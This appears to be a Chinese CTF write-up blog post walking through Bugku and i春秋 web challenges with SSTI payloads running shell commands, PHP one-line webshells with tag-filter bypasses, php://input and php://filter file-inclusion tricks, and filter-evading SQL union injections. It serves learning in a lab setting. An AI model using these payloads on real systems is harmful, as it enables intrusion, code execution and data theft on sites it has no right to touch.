文章目录
Bugku Simple_SSTI_1(python模板注入)
- 启动常见后只有一行字母,我们什么也看不出来。点击右键,查看网页源代码

- 倒数第三行绿色的字
<!-- You know, in the flask, We often set a secret_key variable.-->
意思是 你知道,在flask【一个Python编写的Web 微框架,让我们可以使用Python语言快速实现一个网站或Web服务。】里,我们经常设置一个secret_key变量,所以我们要读取secret_key变量,导出所有config变量,其中就包括SECRET_KEY,需要在题目url后面添加/?flag={{config.items()}},点击访问,则在页面可发现flag{c3af0e0464d89e12a4983dbf4b3984da}。
Bugku Simple_SSTI_2
- 启动场景,打开可看到这样的页面

- 由题目可知,这道题依然为模板注入。与上一题思路相同,点击右键,查看网页源代码。
利用上一题的思想,我们从源码中得不到多余的提示,只提示我们要传参。
- payload:
?flag={{ config.__class__.__init__.__globals__['os'].popen('cat flag').read() }}
i春秋 Misc Web 爆破-1

- 打开链接是一段php源码。

- 第一行include"flag.php"表示文件中包含flag.php文件,第二行
$a = @$_REQUEST['hello']表示命名一个变量a来接收超全局变量【意味着它们在一个脚本的全部作用域中都可用】@$_REQUEST['hello']。$_REQUEST用于收集 HTML 表单提交的数据。$a = @$_REQUEST['hello']则是请求一个名为hello的参数. - 因此可以直接在url后面提交
/?hello=GLOBALS,
- R E Q U E S T 变 量 包 含 _REQUEST变量包含 REQUEST变量包含_GET、$_POST变量,因此post传参数hello=GLOBALS也可以。
i春秋 Misc Web 爆破-2
- 与上一题相同,打开链接是一段php源码代码与上一题基本相同,利用上一题的解题思路我们发现这种方法不可行,但是第二题源码中未出现过滤字符的代码。利用上一题的解题思路我们发现这种方法不可行

- 把一个
file_get_contents()函数【file_get_contents(path)函数,获得指定路径下的文件内容,以字符串的形式返回出来。eval(str)函数,把括号里的字符串,当作php命令来执行。】命令赋值给$a传入var_dump()中。var_dump()函数就是把这个命令以字符串的形式返回,进入到嵌套的eval函数里面,让eval函数来执行这行命令。 - 因此,我们我们使用get传参在url后面添加
/?hello=file_get_contents("flag.php"),页面跳转成功后查看该页面的源码即可成功得到flag。
i春秋 Web Upload
-
打开链接题目提示随便上传什么文件,我们尝试上传一个含有一句话木马的flag.php文件,显示上传成功。

-
点击右键查看网页源代码,查看我们上传的php文件内容,发现php的标签被过滤。因此我们应该想办法绕过过滤,使蚁剑连接时能识别出一句话木马。

-
我们尝试大小写绕过以及使用注释进行干扰、双写绕过,发现
php标签中<?依然被过滤,而php成功绕过。我们用<script language="pHp">@eval($_POST['123'])</script>script标签来绕过<?,即可绕过成功。 -
打开蚁剑连接这个php文件,连接成功并打开后,即可在html目录下找到flag.php文件即可找到flag。


i春秋Misc Web 爆破-3
- 打开链接可以看到一段php源码。

- 我们需要看懂最后几行关于flag的代码,即当前session中 n u m s 是 不 是 大 于 10 , 现 在 n u m s = 0 , 只 有 使 n u m s + 10 , 才 可 以 输 出 f l a g , n u m s + 1 的 条 件 有 两 个 , 一 是 w h o a m i = v a l u e [ 0 ] . v a l u e [ 1 ] , 二 是 ‘ m d 5 ‘ 的 值 等 于 0 。 , 如 果 依 次 类 推 ‘ nums是不是大于10,现在nums=0,只有使nums+10,才可以输出flag,nums+1的条件有两个,一是whoami=value[0].value[1],二是`md5`的值等于0。,如果依次类推` nums是不是大于10,现在nums=0,只有使nums+10,才可以输出flag,nums+1的条件有两个,一是whoami=value[0].value[1],二是‘md5‘的值等于0。,如果依次类推‘nums>10`就打印出flag.
- 构造一个payload
/?value[]=ea,我们需要第一次传入ea,然后得到打印出的随机数作为值第二次访问页面并进行传入。只要我们连续10次成功,就能在页面中看到flag。
i春秋 Web SQL
- 题目提示这是sql注入,而且提示flag在数据库中

- 查看源码得到提示
SELECT * FROM info WHERE id=1

1=1时正常访问,1=2时页面为空白,则为数字型注入 - 尝试添加and 1=1,发现被拦截,测试or1=1,也发现or被拦截

- 用相应字符来代替and和or,and---->&& or-----> || ,发现可以成功绕过。

1=1时正常访问,1=2时页面为空白,则为数字型注入 - j接下来尝试猜字段长度,使用order by字段和二分法进行猜测,发现order by被拦截

- 我们尝试使用<>把order字符隔开绕过,发现可行,得出字段数为3。

- 我们使用union(all)联合查询来查看显示位的字段数,发现select被过滤,同样使用<>隔开。

表明返回的列数为三,从左往右第二个位置会返回到页面上,找到回显位置后,就可以通过联合查询来回显数据库,即构造/index.php?id=1 union s<>elect 1,database(),3,得出数据库为sqli。(若空格被过滤,可用+绕过)

- 接下来是通过不断构造payload使flag回显。构造
/index.php?id=1 union se<>lect 1,table_name,3 from information_schema.tables显示所有表名
- 构造payload
/index.php?id=1 union se<>lect 1,table_name,3 from information_schema.tables where table_schema='sqli'来回显当前调用的表。
- 构造payload
/index.php?id=1 union se<>lect 1,column_name,3 from information_schema.columns where table_name='info'回显info的列名
- 构造payload
/index.php?id=1 union se<>lect 1,flAg_T5ZNdrm,3 from info回显flag。
i春秋 web include
- 题目提示为文件包含漏洞【文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。】。点开链接,可以看到一段php源码并且出现了phpinfo的页面,从源码看没有任何过滤。

- 要想知道文件的名字,搜索一下
allow_url_include看看是否打开,Ctrl+F,定位到allow_url_include,发现是打开的。
- 因此可以使用
php://input协议,构造url/?path=php://input,post传入参数<?php echo system('ls');?>,响应得到文件目录
- 读取文件内容,同样修改get传参
?path=php://filter/read=convert.base64-encode/resource=dle345aae.php,查看响应可能flag被加密.
- 使用base64解密即可得到flag。
拓展: php提供四种方法执行外部命令exec()、passthru()、system()、shell_exec(),这四个函数与一句话木马中eval()函数作用相同,即可以代替一句话木马中的eval()函数,常用的是system()函数,<?php system('ls')?>属于一句话木马。
Web Do you know upload?
-
点开链接,尝试上传.jpg的文件,发现可上传成功。上传包含一句话木马的php文件,即上传失败,因此可以考虑使用burp来修改后缀。

-
在一句话木马前添加
<?php phpinfo()?>,使用post传参的方法,可获取php版本以及各种权限进行查看。phpinfo执行成功,说明文件上传成功。
-
查看diabled_function这一行,我们发现常用操作未被禁用,因此我们可以继续操作。
-
我们将一句话木马文件前添加的phpinfo()删去,重复上述操作,试用burp修改文件后缀并上传。
-
使用蚁剑连接木马,然后在config.php文件中可以看到数据库的用户名和密码。

-
右键点击我们添加的shell。点击数据操作,然后选择mysql,输入登录数据库的用户名ctf和密码ctfctfctf,即可找到flag文件获得flag。

本文详细介绍了Bugku平台上的四个Web安全挑战,涉及模板注入(SSTI)、PHP源码分析、文件上传绕过、SQL注入、文件包含漏洞和代码执行,展示了如何利用这些技巧解决实际问题获取flag。
&spm=1001.2101.3001.5002&articleId=116567281&d=1&t=3&u=34b30d1e1da242ecac267e8f871a947f)
1476

被折叠的 条评论
为什么被折叠?



